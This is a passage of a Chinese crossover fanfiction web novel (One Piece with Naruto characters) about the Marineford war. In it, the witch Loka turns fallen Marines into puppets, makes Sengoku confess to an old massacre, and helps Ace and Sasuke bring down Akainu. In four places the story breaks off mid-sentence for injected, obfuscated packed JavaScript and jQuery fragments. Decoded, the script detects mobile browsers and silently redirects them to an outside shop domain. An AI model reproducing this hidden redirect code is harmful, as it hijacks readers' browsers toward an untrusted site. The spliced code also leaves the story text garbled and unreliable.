RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17052209|194828||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一个人逃走之后,佐助已经发过毒誓无论何时何地、发生任何情况,他都不能抛下哥哥一个人离开。 马尔科一惊,几乎立时抛下了对手,转头朝水域的方向飞去。身后有不止一个握着铁链的海军朝他追了上来,似乎是想用海楼石锁链困住他。但很快又有同样穿着海军制服的人从旁阻止,将那些试图用锁链攻击马尔科的人一时不防被自己的同伴偷袭摔倒在地,头上纷纷下落的箭矢寻到机会,争先恐后地钻入了他们的脑袋。 马尔科匆匆朝身后看了一眼:那些被洛卡的傀儡术复活的海军看起来和生前没有任何区别,冲过来的时候甚至被那些海军误以为是援军。 但是马尔科现在没时间为这看上去有几分邪门但帮了白团不少忙的魔法多作感慨,他越过高墙之时正好看见斯库亚德举起刀来刺入了老爹的腹部。 斯库亚德还在高声说着什么,一个字都没落进马尔科的耳朵里;他飞行的速度陡然加快,落到甲板上时只觉得脑子还是空白的:“老爹……这是怎么了?” 这时候斯库亚德的后半句话才落进他耳里:“……你是不是用我们的命去换艾斯的命了?不然为什么第一批被空投进去的会是我的船员!而且我的船员进去之后奥兹的动作就停下了,我的船员再也没有出来!你明知我和罗杰的旧怨……所以才用我的船员作饵去救艾斯的命吗!” 马尔科只觉得荒谬:“你怎么会这么想?第一个冲进去的分明是佐助啊!” “……斯库亚德。”刀刃被抽出去之后白胡子闷哼了一声,“无论你信不信,这只是一个巧合……” 话音未落,试图上前治疗老爹的马尔科震惊地看见老爹腹部的伤口竟然开始愈合了——伤口内部的血肉里伸出几缕明显不属于白胡子的紫色魔气,迅速将那恐怖的贯穿伤缝合了起来。 白胡子心下微惊:这下不止是伤好了,甚至连沉于体内多年的顽疾似乎也被拔除大半,整个人神清气爽多了。 这大概率是那小姑娘的手笔。 明明刚才还被自己的儿子刺伤,白胡子却毫不介怀,一把搂住了斯库亚德:“你和罗杰的事我不是不清楚,但父债子偿你不觉得可笑吗?至今为止,艾斯做过任何一件对不起你的事吗?你究竟被谁骗了,是赤犬吗?” 斯库亚德愣在原地,过了一会儿忽然痛哭起来:“我、我也不知道我是怎么了,我居然伤害了老爹,对不起……对不起,老爹……艾斯……” “马尔科!”白胡子拍了拍斯库亚德的脊背,同时抬头看向墙内,“你为什么突然回来?” 马尔科还沉浸在白胡子的伤口瞬间愈合带来的冲击当中:“……是佐助用起爆符对我示警,要我回来看老爹的情况。” “佐助为何忽然对你示警?他怎么知道我要出事?” 马尔科仔细回忆了一下当时的情况:“他跟艾斯一起……他们俩当时就站在那女海军附近!” “你说艾斯和她在一起是吗?那让你回来多半也是她的判断!”白胡子很快作出决断,“好,我们就在这里再等五分钟!五分钟后上岸去把那小丫头带出来——对于是不是出卖了自家船队这种事实在没有什么值得解释的,愿意上的就跟我来,不愿意的也可以自行离开!” 18. 马林梵多的祝福与噩运 018 洛卡又往前走了几步,终于还是被一个从天而降的黑影拦住了去路。 她抬头看去,是已然在果实能力的加持下巨大化的战国。暴涨十数米的身高让洛卡仰头看他时十分吃力。战国落地时在地上砸出一个巨坑,周围的海军齐齐惊叫着被那力道震出好远,在被弹出去的瞬间洛卡抱着魔杖跳了起来,用魔力停在了半空中,勉强与战国平视。 “元帅发好大的脾气呀。”洛卡对他绽开一个礼貌的微笑,地面上已有许多死而复生的海军扑过来试图阻拦战国,“你应该也知道就算我死了,这术也停不了吧?” “你要践踏人命到什么时候!”战国的声音里掺杂着痛心与愤怒。脚边的海军正在持续不断地攻击他,但他没有半分要回击的意思,“这些人都是从别的地区调过来的,他们根本没参与过当年的屠魔令!” “但是他们今天出现在了这里,只能算他们运气不好吧,就像当年我的族人和岛上的普通人一样。”洛卡直视着战国的眼睛,“其实现在的海军和八年前的海军也没什么区别,反正无论政府给你们下达什么样的指令,是围剿海贼还是杀害平民,你们都会自我洗脑成正义之举然后照做不是吗?” “……既然如此。”一时之间战国竟没能想出什么反驳之语,“你报复海军又能得到什么?!” “您竟然觉得这只是简单的报复行为吗?”洛卡被他逗笑了,“我的心脏与位于圣地玛丽乔亚的那颗水晶球相连,心脏遭到破坏之后能被魔力修复,但水晶球可没这么好的运气——眼下玛丽乔亚那些贪图享乐的肥猪恐怕正因为水晶球的爆裂接连死去吧?作为我的监护人,您这个元帅可难辞其咎。” “我可以不做这个元帅。”饶是有果实能力和霸气加持,战国也无法在同僚的持续攻击下保持无伤,他的眼底涌现出难以言喻的痛苦,“我这个当年对你的家乡发出屠魔令的人可以立刻辞去元帅之位对你谢罪,你到底还想要什么?” “好感人啊。”洛卡慨叹一声,“弄得好像我是反派一样呢。对于那场灭族之祸,您想到的仅仅只是辞去元帅之位吗?” 地面上正赶到洛卡附近的佐助听到“灭族之祸”的字眼,下意识地抬了抬头。 与此同时,洛卡身后的三个超大显示屏忽然亮了起来——是她的魔力驱使复生的海军去重新开启了映像虫,“战国元帅,你知道我为什么要你和你的同伴互相厮杀吗?” “……原来如此。”战国悲愤地抬起头,“你要当着全世界的人的面摧毁海军的信誉吗!” “只是说出当年的真相而已,您这么激动做什么。”洛卡漠然地看他一眼,“接下来我问你的问题你要据实回答,每撒一句谎我就杀一个你的下属。我知道你不敢杀我。” 战国沉默不语。 “八年前,用执行屠魔令的第一批海军作为诱饵、引诱加西亚一族出岛作战导致全族几百人重伤濒死近半,又立马派出第二批海军抓捕手无缚鸡之力的普通岛民以威胁当时已然虚弱的家主去替天龙人催动禁术的,是你没错吧?” 问这话的时候她还是十分冷静,好似在阐述别人家的事情一般。 场上一时静默:战国竟然会用同伴和普通民众当诱饵? 战国的眼角流出眼泪:“是我!当初他们是自愿去执行这种必死的任务的!他们每个人都签了请愿书啊!抓捕你父母那样的叛徒是我们的天职!” 洛卡没理会他苍白的辩解也没理会场内的一片哗然,继续说道:“我族长老催动禁术、禁术发动后被魔力反噬失去了所有抗争之力,海军是抓住了这个机会才能将他们全部杀害。他们是为天龙人的安稳富贵耗尽生命后被弃如敝履、兔死狗烹,并非如海军所说死于叛逃之罪。为保住贵族的名声想出对外宣称加西亚全族因叛逃被诛的主意的,也是你?” 战国回想起八年前的场景:那时候洛卡还是个小姑娘,就站在那些岛民的中间,眼睁睁地看着所有巫师残党被斩落头颅:“是我!所以如果你有任何的愤怒,都请冲我来吧!” “真是贵族的一把好刀。”洛卡的声线很平,听上去毫无波澜,“所以血洗巫师一族后又仍对岛上的民众穷追不舍,命令海军屠杀普通岛民的,就是你吧。” 这个问题,战国一时没有作答。 但场内外已经炸开了锅:“杀巫师就算了,为什么要屠杀平民?” “据说是因为岛上的居民与加西亚一族通婚,生下了许多继承了巫师血脉的孩子……” “所以,是连那些孩子都杀了吗?” “这太奇怪了,为什么单单留下那个洛卡呢?” “可……你们都没人注意到这就是屠岛吗?抓个叛徒而已,何至于屠岛啊!” 为什么要屠岛呢? 当时平民之中有人不忍见为岛民做了许多事的加西亚一族就那么被处以极刑,竟有人冲上广场试图救人——当时的海军失去了第一批登岛的同伴,正是气氛剑拔弩张的时候,一个小小的冲突立时点燃了战火,不知是队伍里的谁朝无辜居民开了第一枪,回过神来的时候整座岛都堆满了无辜之人的尸体,岛民大多死于这场本不该有的纷争之中。 洛卡幼时唯一的朋友、也是当时家主唯一的女儿也死在这场屠杀之中,死时年仅十二岁。 战国作为此战的总指挥,确实难辞其咎。 这件事他要承认吗?若是不认,难免有将责任推给死去的岛民之嫌;若是认了……结果不会比现在更差了。 “……那是一场不该有的战争,是我这辈子都忘不了的失误。” “失误?”洛卡盛怒之下反而笑了一声,但她面上竟还是一副云淡风轻的模样,“您现在元帅的位置坐得好好的,可没见您对这失误付出过任何代价啊?不愧是贵族阶层的心腹啊。事已至此,就请您再回答一个问题:当年你屠我全族为什么单留下我、今天又为什么容忍我如此放肆又不杀我?” 战国再次沉默。 站在地面上仰望着洛卡的艾斯有一种古怪的直觉:她现在似乎正对战国使用言灵术? 事情到了这个地步,战国的反应无论是沉默还是别的什么,全都会变成心虚的印证。他周身缠绕着霸气, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17052210|194828||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 箭矢伤不到他;但他却也没有任何攻击洛卡的动作,只是静默地站在那里。 “因为你还要我使用加西亚代代相传的祝福之术,替那些贵族们实现永生。”洛卡干脆替他回答了,“当时第二批海军之中主张连我一起杀掉的不在少数,你偏偏采纳鹤的进言留下了我的性命,终于在屠岛的第二天凌晨接到了新指令——将我这个巫师一族的末裔带到贵族跟前。” 说到这里洛卡忽觉喉头一腥——催动禁术引起的反噬竟然如此之快,她不由得苦笑了一下。 但她没有给战国反驳的机会,顶着内里不断翻涌的血气勉力将一早便准备好的台词说完:“你不杀我,无非是因为你很清楚,玛丽乔亚成千上万个天龙人的性命都和我的性命紧密相连,我一旦死在海军手里,那些天龙人便和被海军谋杀无异——天龙人可以死在我这种有异心的外人手里,但决不能被自己一手喂大的看门狗反咬一口,不是吗?” 若是战国现在出手杀了洛卡,那么今天来到马林梵多的有军衔的大部分海军都会被降下死罪——这也是赤犬之前对上艾斯时试图用侮辱性语言刺激艾斯丢掉洛卡的原因。 若战国是个普通海军也就罢了,可他是全军元帅,他的个人行为会被解读为所有海军的行为,身处高位的他不能轻举妄动。 洛卡非常清楚这一点,才会将自己酝酿多年的计划选在今天执行:“你自己选吧,元帅。是就这么死在同伴的手里,还是亲手杀死身边的同伴,就像当年亲手送自己的下属下地狱一样?” “元帅!”这时站在场内另一侧的鹤突然大声朝战国喊道,“那已经是一群傀儡,不再是我们的同伴了!死刑犯还在场内,现在必须以重新逮捕死刑犯并及时执行死刑为最优先啊!” 鹤仍然被定在原地,她说话时带着难以抑制的痛苦的颤音。 洛卡低头看了她一眼,以洛卡现在的角度,鹤看上去只是一个小小的灰点。她的头发已经雪白,她已然年迈了。 但精神依旧坚韧。 鹤说得不错,现在把艾斯抓回来并杀死,海军还能挽回最后的尊严。 洛卡的情绪波动已经过去,眼下她的神情再次变得平静漠然:“我偏要他们安然无恙地离开这里。” 她举起魔杖,头顶大阵的紫光更盛,“那些曾经得到我祝福的天龙人因为我自毁心脏、祝福反噬,所以一个接一个地死了,曾经施加在他们身上的魔力又回到了我这里——你觉得,如果这一次白胡子海贼团全身而退,而海军伤亡惨重,从此以后政府和海军的威信在普通人的眼中会变成什么模样?” “……快阻止她!”战国终于有了动作,他向洛卡迅速抬起右臂,右掌朝她的面门径直劈去,“她要向整个白团施加永生不死的祝福——洛卡,住手!难道你不知道这是在消耗你的寿命吗!” 然而她已经念起了令战国感到十分耳熟的咒文:“其頟为日月、其眼为星辰、其骨为山川、其血为江河。我曾生长于您的子宫、我曾啃食过您的血肉。以我之血、以我之肉,将新的神使带入您的殿堂,让新的世界敲响您的圣钟!” 19. 00后整顿职场 019 ——“鹤中将,这种事我还要做多久呢?” 每次洛卡来到玛丽乔亚都必须至少有两位少将及以上的海军陪同,今天来的是战国与鹤。 现在是洛卡进入玛丽乔亚的第二年,她刚过十二岁的生日。她的手脚戴着沉重的镣铐,脖子上还绑了一圈定时炸弹:“说实话,就算是有定时炸弹这种东西,我也能随时杀了他们。我不明白为什么每次你们都告诉我不能杀任何人。” 战国看了她一眼:“杀了他们会引发没必要的战争。” 洛卡目视前方:“所以两年前那次海军登岛是必要的战争?” 鹤忽然发出一声笑:“你快说不过她了,战国。” 十二岁的洛卡没有说话:他们似乎没有把她当回事——不错,就是没把她当回事。明明他们亲手杀光了她的亲族以及与她亲族共生的数量将近十万人的平民,但他们却将她当成了普通的战场遗孤,理所当然地将提供给她的“养育”当成对她的恩赐,认为她总有一天会遗忘亲人、接纳海军。 “洛卡,你现在还小。”战国并没有放弃这一次教育的机会,“等你长大了就会明白和平在这样的年代有多么珍贵。如果是为了大规模的、长时间的和平和正义,那么一定程度的牺牲是必要的。” 洛卡只觉得可笑:她被掳来后只做了一件事,那就是为天龙人施加无病无灾、永生不灭的祝福,以便让他们能够毫无忌讳地沉浸到违禁药品和狩猎活人等等娱乐项目当中去。如今受她祝福的天龙人已有十六人,她自己的身体状态也是每况愈下。 人类得到荣华富贵和权势地位的下一步,就是追求永生。 那个岛上的所有人就是为了这样无聊的事情牺牲的。 “好吧。”为了不触怒战国,她只好虚伪地笑了笑,“希望真正的和平能有降临此世的一天。” * 洛卡的咒文念到了最关键的一句:“神使将获得您的血肉,为了侍奉您而长存此世……请获知神使之名——” 咏唱新神使的姓名之前周围的视野忽然一变,眼前的一切忽然模糊起来——洛卡惊异地瞪大眼睛,发现是周围的空气不知怎的发生了畸变,导致周围的人和事忽然扭曲了一般看不真切。 刚醒的时候似乎见过——这是艾斯的热浪。 紧接着那层裹住了她的热浪忽然化成一股热风,以极快的速度将她向下推去;守在侧后方的艾斯上前两步将她一把接住转身就跑——迈步之前还朝战国的方向打了个响指。 佐助忽然反应过来:哥哥打响指出火花这一招似乎是近期培养的新习惯,以前从没见他打过响指。 后方的战国想要往前追,被忽然袭来的白炎和从天而降的落雷拦住了脚步。那落雷速度极快,落入热浪之后又被亮白色的火焰遮掩,很难看清它真正的形态——战国险些被落雷劈中才看清,那落雷之中竟然隐藏着数支紫黑色的箭矢。 “放开我,放开我!”洛卡不甘心地看向艾斯身后,“我就还差一点点……” 艾斯赶紧伸手捂住她的双眼:“别向后看!你还有什么事情没办成?我帮你办!” “那事只有我能办……”她不住拍打艾斯的肩膀,那力道落在艾斯肩上宛若蚊子叮咬般苍白无力,“你放我下来!”说到这里她甚至有些气急败坏,“你们为什么没有回去找你们的父亲?” 艾斯说话时眼底有些莫测的情绪:“所以其实你早就知道有人会伤害老爹,是挑了个能支开我们的时间点,好毫无阻碍地进行你那个祝福是吗?” 跟在艾斯身侧的佐助神情很是复杂:“你为什么要对我们施加永生不灭的‘祝福’?我们这里没有人需要那种东西。” “所以那不是对你们的祝福。”洛卡神色凝重,“你们不了解永生的本质,那是逆天改命的术法,本质是将原本不存在的寿命施加到普通人类的身上,一旦施放便无法收回。为了平衡,神会收回一些原本属于此人的其他东西——譬如功勋、子嗣、名望,诸如此类,我原本是要施加给战国的——” 为了让战国误以为那是对白团的祝福她还特意施加了言灵暗示,但最终还是没来得及喊出他的名字。 “我不知道你这术式的原理,但从刚才到现在的情况来看那不是会折损你的健康和寿命吗!”艾斯着急地将她圈得更紧,“战国那家伙再怎么可恶,也不值得你赌上自己去诅咒他啊!” 洛卡听了这话一时不知该作何反应,呆愣至于竟然笑出了声:这么多年,竟然是艾斯第一个看穿了“祝福”的本质。 这个时候,洛卡忽然听到身后传来一道有些耳熟的男声:“艾斯——又一个五分钟过去啦——” 是挣脱了言灵术的小奥兹,同马尔科一道出现在了墙后。 洛卡惊讶地回头:“小奥兹?可我不是……” 思及此处她忽觉心口剧痛,是禁术反噬挣开了她的伤口。虽然体内的魔力很快又将心脏修补好了,但躯体传来的麻痹感还是让她吭都没吭一声便脱力伏在了艾斯的肩上。心脏停转让她五感暂失,但也很快也恢复了。 她从艾斯颈间抬起头时已经冷汗涔涔。 大约是禁术的反噬叫她之前对奥兹下的言灵术松动、奥兹又自己冲破了。这可糟了,万一她施加给白胡子的祝福也失效了怎么办? 她强打起精神,在心中将对白胡子的祝福又默念一遍。头上紫黑色的大阵一闪,来自族人的魔力加固了她的术。 “洛卡,你不舒服吗?”艾斯察觉到她的不对劲,关切地问道,“很快就到了,我让马尔科看看你的情况。” “能治人类的船医治不了我。” “你放心吧洛卡,马尔科可不是普通的船医!” “……你明明属性是火脑子怎么像块木头,我跟你说不通。”洛卡此时双唇发白,眼前的事物也带了重影,好在艾斯眼下看不到她的神情,“再等一等,我就会好转的……小心你前面!” 艾斯和佐助停下脚步,前方出现了一个熟悉的人影。 是失了一眼一臂的赤犬。 且为了避免再次陷入佐助的幻术,他将眼下只能勉强视物的那只眼睛也用布蒙上了。 身后战国越逼越近——虽然无法完全避开落雷,但他身上缠绕的霸气足以让他不被箭矢所伤。他周围虽然聚集了不少傀儡,但显然鹤的那句劝告他听进去了,已经开始反抗。 傀儡们无动于衷。他们受傀儡术控制,只要还能行动就会一次一次地站起来。脑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17052211|194828||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 袋、心脏也不再是他们的要害,即使受伤了也能被魔力修复,除非彻底烧毁,否则即使被分尸成数块,最终也能恢复原状。 资质不似大将般出众的海军并不能像战国一般时时开着霸气用以防御,变成傀儡的海军只会越来越多。 洛卡想了想,将和平主义者唤了出来。 她虽然不知道海军的部署,但顶上战争相关的部分剧情她还记得一些——按照原计划,在白胡子被刺伤之后,和平主义者本该在白团人心涣散之时及时出场突袭白团,眼下是因为许多海军成了傀儡,战国才迟迟没拿出和平主义者。 但其实以箭矢的密集程度,感知到和平主义者的具体位置其实比操纵死人要简单多了。 她艰难地举起手臂,扬起了怀中的魔杖。 虽然她的祝福被艾斯打断了,但当初她既然决定借海贼之手离开这里,也确实该预料到会产生这种一切都不按计划走、产生各种意外的情况。 ——既然如此,只能兵行险着,逼战国主动来攻击她了。 她伸手撑在艾斯的肩膀上,对愈发逼近的战国笑了笑:“您刚才警告过我不要践踏人命,但很可惜,在海军待了八年之久,我只学会了践踏人命这一件事。” 话音刚落,场内忽然出现好几台和平主义者——还保持着被改造的能力者巴索罗米·熊生前的模样,但瞳孔和神情都已木然空洞,看上去像一尊人偶。 “将活人改造成机器,其卑劣程度比起我这傀儡术也不遑多让吧。”洛卡说话时已经有些气虚,“但操纵起来倒比人类容易多了,方便到我都想跟你们说句谢谢的程度。如果说为了和平部分的牺牲是必要的,那我的任务就是告诉你们,这种牺牲毫无价值。” 有一台和平主义者被洛卡移动到了赤犬的跟前,还未来得及发出激光就被赤犬亲手烧毁了。 机械做的东西简直浑身上下都是要害。造价高昂的和平主义者很快就在能力者们的各显神通下一台接一台倒地损毁,巴索罗米为了正义的自我牺牲在未能打倒任何一个敌人、反而在洛卡的操纵下误伤了不少代表正义的海军。 被和平主义者扫射到的海军又被箭矢所伤,形成一具又一具新的傀儡。 “战国元帅。”洛卡抬起头来,看了一眼使用能力将几具傀儡震飞出去的战国,“我刚才没把话说全——你们这类人的行事准则,一直以来都很符合先妥协再交换的模式。先妥协于天龙人,替天龙人做几件自己内心也不一定认同的脏事,以此换取一些资金或者权限,再去做几件譬如抓捕上一任海贼王的儿子这种看上去像是维护了和平的任务。” 战国的动作顿了顿。 “您到底想带领军队去往一个什么样的未来呢?”洛卡声音轻柔,不像是在厉声斥责,更像是在柔声劝告,“如此妥协下去换回来的东西只会越来越少,因为您只是在求着上位者从指缝里漏些资源给您罢了。您从未思考过这里为什么会是一个海贼和革命军并存的世界吗?” 战国伸手朝她抓过来:“……那也不是你背叛海军营救艾斯的理由!” “我可从未真心臣服过,何谈背叛。”洛卡叹了口气,“那么,现在您要公然与天龙人为敌——在这里当着所有人的面杀了我吗?” 20. 当你离职时将核心机密送给对手公司 020 三人被堵在缺了口的那堵高墙之下,一时之间难以动弹。佐助在维持着穿云索的情况下千云渡的威力愈发减弱,万花筒更是快将他的查克拉耗尽——但是时间紧迫,在对视这个发动条件失效的情况下,要先和哥哥更换对手然后用万花筒决一死战吗? 身侧艾斯为了对付战国的冲击波再次使出了白炎,双方能力相触的瞬间产生的爆风几乎夺去了佐助的听力。等到周围的声音慢慢恢复正常,赤犬的声音才钻进他的耳朵里: “……自然不能直接杀了洛卡。只要洛卡死在海贼手里,谁也怪不了海军。” 已经有海军前去破坏映像虫了。 毁掉映像虫、杀掉洛卡,将马林梵多的烂账全部推给白团,眼下这烂摊子还是能收回来的。 话音刚落,佐助听见洛卡细弱的声音在前方响起:“果然如此。就像你诬陷白胡子出卖自己的孩子一样,现在又准备将我的死也推给白胡子海贼团啊?”她这么说着,歪头作出一副思考状,“如此一来你讨厌的天龙人也算是死在白胡子手里了,你不怕此举又助长白团的气焰吗?” 她抓着艾斯的手臂从他怀里跳了下来,轻声对佐助道:“先让艾斯挡住战国,我同你一起将赤犬引至墙下。”又对艾斯说道,“赤犬的果实恰好克制你的能力,你没必要跟他决出胜负,先帮我对付战国。” “你要我拖住他?” 洛卡眼底意味不明:“我们一起拖住他。只要先擒敌首,海军此战必败。” 说完她抬起头对赤犬扬声道:“让白团离开这里,我可以放过这里的海军。” “笑话!”赤犬果然被她激怒,“早在八年前我就说过,允许叛徒活下来没有任何的好处!” 洛卡悠悠地飘到了半空中,朝墙边的方向飞去了——她这个时候已经没有什么体力,几乎全靠来自禁术的魔力支撑。 佐助略一犹豫,还是跟了上去:洛卡眼下脸色苍白身形摇晃,看上去并不具备再对他和哥哥施展一次言灵术的余力。 艾斯还没来得及同意洛卡的方案他俩就直接实行了,只好转过身依洛卡所言去拖住海军元帅——他先是召出热浪迅速围住战国,然后根据战国的动作逐渐缩小包围圈。内里的空气逐渐被热浪烧完,战国逐渐感到呼吸困难。 他对准热浪立掌攻击,热浪被冲击波轰开一个缺口,又很快被补上了。 糟的是那热浪对箭矢毫无影响,密集的短箭仍如雨点一般打到他的身上,又接连不断地被弹开。 他干脆将掌心对准大地,在地上打出一个巨大的缺口,缺口涌入的新鲜空气让他得了一瞬的喘息,但很快那缺口也被白炎填满了。 他来不及收回视线,闭上眼时视野内一片猩红,是眼睛被灼伤了。 且周围的温度还在持续升高。 洛卡那头,赤犬虽然蒙着眼睛,却没有错过佐助和洛卡的动向——这二人是奔着高墙去的,大约是想请求白团的支援。 洛卡用气音低声道:“佐助,我会想办法挑开他蒙眼的布条,你趁机用万花筒写轮眼将他拖入幻境,我会在现实中杀了他,再叫奥兹过来带你们走。” 佐助心中大惊:她竟然还认识万花筒写轮眼?他开眼开到万花筒这件事、乃至于“万花筒”这个名字本身,甚至连入狱许久、刚刚才重获自由的艾斯都还不知道。 但面上他却只冷静地点了点头:“好。” 刚跨进墙内不久的奥兹眼下正被三位巨人级海军和数支枪火队缠着,一时脱不开身——艾斯的火焰帮助他消融了大部分火力,但同时维持着白炎的艾斯额头上已经冒出不少冷汗:在没有任何支撑的情况下,直接用白炎困住一个活人实在是个精细活。 他和佐助都已经坚持了太久了。 好在不知道什么时候开始,被困在白炎之内的战国似乎不动了。 另一边,洛卡对着赤犬的那只坏眼抬起了魔杖:“这只眼睛,是多年前被我埋入了紫水晶、后来又受我祝福才恢复了视力。直到今天那枚紫水晶还被埋在你的眼中。你自己也该察觉到了吧,从多年前你抓到我开始,你的眼睛就已经废了。” 就在这时,佐助忽然看到赤犬那只废眼忽然动了动,仿佛那底下有一只活物一般。稍顷那活物在赤犬的蒙眼布底下用力挣了挣,嗤一声割开布条飞了出来。 布条散落在风中,佐助抓紧机会捏了几支短箭在手里,同时几步跑到了赤犬跟前。 剧痛让赤犬的脑中空白了一瞬,多年前抓到洛卡的那个场景不知为何又在脑中重演了一遍——意识到这是受洛卡的言灵术影响之后已经来不及,血红的视野中出现了一双眼熟的红瞳。 赤犬维持着伸手捂眼的姿势僵在了原地。 佐助也停在了原地。他消耗太过,额头早已布满细汗。 洛卡毫无犹豫地伸出魔杖,周身的箭矢齐齐调转方向,朝赤犬的要害高速飞去。 就在那短箭即将刺入赤犬的心口、洛卡即将得手的当口,那短箭忽然像是遇到了一股不知名的力量似的,软趴趴地散在了风里,犹如一条被挂起来晾干的丝巾。 洛卡一惊:是鹤! 她转头一看,果然是鹤——她手里拿着一把不知从哪里捡来的短刀,腰侧正汩汩地流着血。看起来是用疼痛冲破了洛卡的术。 洛卡当机立断从禁术中借力,再次将鹤定在原地的同时催动了更多箭矢向赤犬面门飞去,这次总算得手,有一枚箭矢从赤犬伤眼进入,自战争开始到现在一直挺立不倒的赤犬终于倒了下去,发出一声沉闷的巨响。 赤犬从幻境中消失,佐助也随之醒了过来。 洛卡再也支撑不住,从半空中向地面摔去,在坠地之前斜刺里忽然伸出一只大手稳稳将她捞住:“小姑娘,我刚才没听真切,是谁要你死啊?” 她被扶到地面上却没站稳,对着地面呕出一口鲜血,手中的魔杖险些脱手。 “……船长,您还是来了。” 因发动万花筒而近乎力竭的佐助跌跌撞撞地向白胡子走了几步,“请您叫奥兹过来……将哥哥和这位洛卡少佐带走。” “这种时候就休息吧,佐助。”白胡子横跨一步站到他跟前,“你们已经很努力了,接下来该我了!” 昏昏沉沉之时,洛卡忽然感觉一丝冷气迎面袭来——她抬头看去,是不知在何处受了伤、额头上还挂着血的青雉。青雉在冻住了多个她的傀儡的同时,还冻住了地上正被箭矢控制的赤犬。 艾斯和困住战国的白炎周围也开始出现冰柱,只是被火炎一次一次地融化了。 洛卡抬起头,看向被艾斯困在原地的战国。随即抓紧了魔杖,站起身来一步一步朝着艾斯的方向走了过去。 因战国被困,刚才被马尔科弃战的黄猿赶到附近,在化成闪光攻击艾斯之前其行动被艾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17052212|194828||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 斯预判,闪光被伏倒在地后迅速火焰化隐去实体的艾斯避了过去。 避开攻击之后艾斯很快化出实体勉强站稳:这一遭让他跟前那片关着战国的白炎略晃了晃,险些晃出一个缺口。 虽说这一击没能伤到艾斯,洛卡还是皱了皱眉,召唤出更多傀儡去挡住了黄猿。 此时马尔科自上空飞旋而下,挡在了黄猿跟前。 接连不断向头顶的魔法阵借力,洛卡体力逐渐不支,向前走时险些摔倒。 青雉出言阻止:“别再往前,你会死的。” 洛卡的心脏不知第几次被魔力修补完整,呼吸逐渐均匀,面色竟也红润起来。她伸手用袖子擦掉了唇边的血:“你说错了,我会没事的。” 一根冰柱从侧前方飞来,在刺伤洛卡的眼睛之前被白胡子的能力震碎了。洛卡就像没看见似的继续向前走去,她实在没有精力再顾别的了。 困住战国的白炎愈缩愈小,呈现出一个近似鸡蛋的形状,跪伏在内的战国一动不动。 洛卡站到艾斯身侧与他并立。 为了不伤到洛卡的眼睛,艾斯撤去白炎,只留下了那一层令视野略显失真的热浪。 洛卡歪了歪头,忽然问了一个与眼下的现状无关的问题:“艾斯,你这个新招数取名了吗?” 眼下白胡子带人围在他们身侧,元帅被困,三位大将已倒其一,剩余二位又分别被白胡子和马尔科拖住,一时之间无人敢接近他二人。 “……还没有。要不你给取一个?”一直以来无暇分神的艾斯像是忽然想起这个问题似的,说话时有些不好意思,转头看向洛卡时才注意到她的异样,“……你吐血了?!被谁打伤了?还是……” 他忽然抬头看向那个从未停止的大阵。 “好啊,名字什么的离开这里之后再取吧。” 说着,洛卡忽然又说起一个听上去有几分诡异的话题,“艾斯,你知道吗?人死后都会变成天上的星星呢。” 这个时候圈内的战国忽然有了动作——准确来说不是动作,是尚未来得及愈合的旧伤复发,他下意识地挣扎了一下。 大腿处的刀伤挣裂了,那是他之前一时不防被一位掌握了武装色霸气的海军傀儡所伤。 他变成佛化形态之后身躯巨大,傀儡只能伤在他的双腿、肌腱处。许多伤明明被他的果实能力和霸气挡住了,眼下却在他的血肉肌骨上出现了明显的新伤,旧伤也反复挣开出血,紫色的魔气在他的伤处汹涌地翻滚。 “人死后便成了星星,每一颗星辰都是神的眼睛。”洛卡的眼底浮起一丝讥讽之意,“被星辰接触过的活物,也会受到神的恩赐、变成类似星辰的存在。星辰不受人的意志操纵,只要我不收回魔力就不会受伤、不会死亡,它们代行神的意志,所以它们带来的一切包括伤害在内,你们都无法拒绝。” 意识朦胧间,战国总觉得洛卡说的话没那么简单,但却猜不透她的真意,嗓子也因高温和缺氧一时之间发不出声:人死后变成了星星——是说被她杀死之后的傀儡吗?那种行尸走肉一般的东西也能叫星星?那类似星辰的东西又是什么? “类似星辰的则是灯。”他听到洛卡好心地继续解释道,“灯是星辰的赝品。星辰将自己的光分给凡世,凡世便有了灯。” 因此这种凡间的活人被“星辰”污染变成新傀儡的术,它有一个还挺好听的名字,叫众星执灯。 21. 021 021 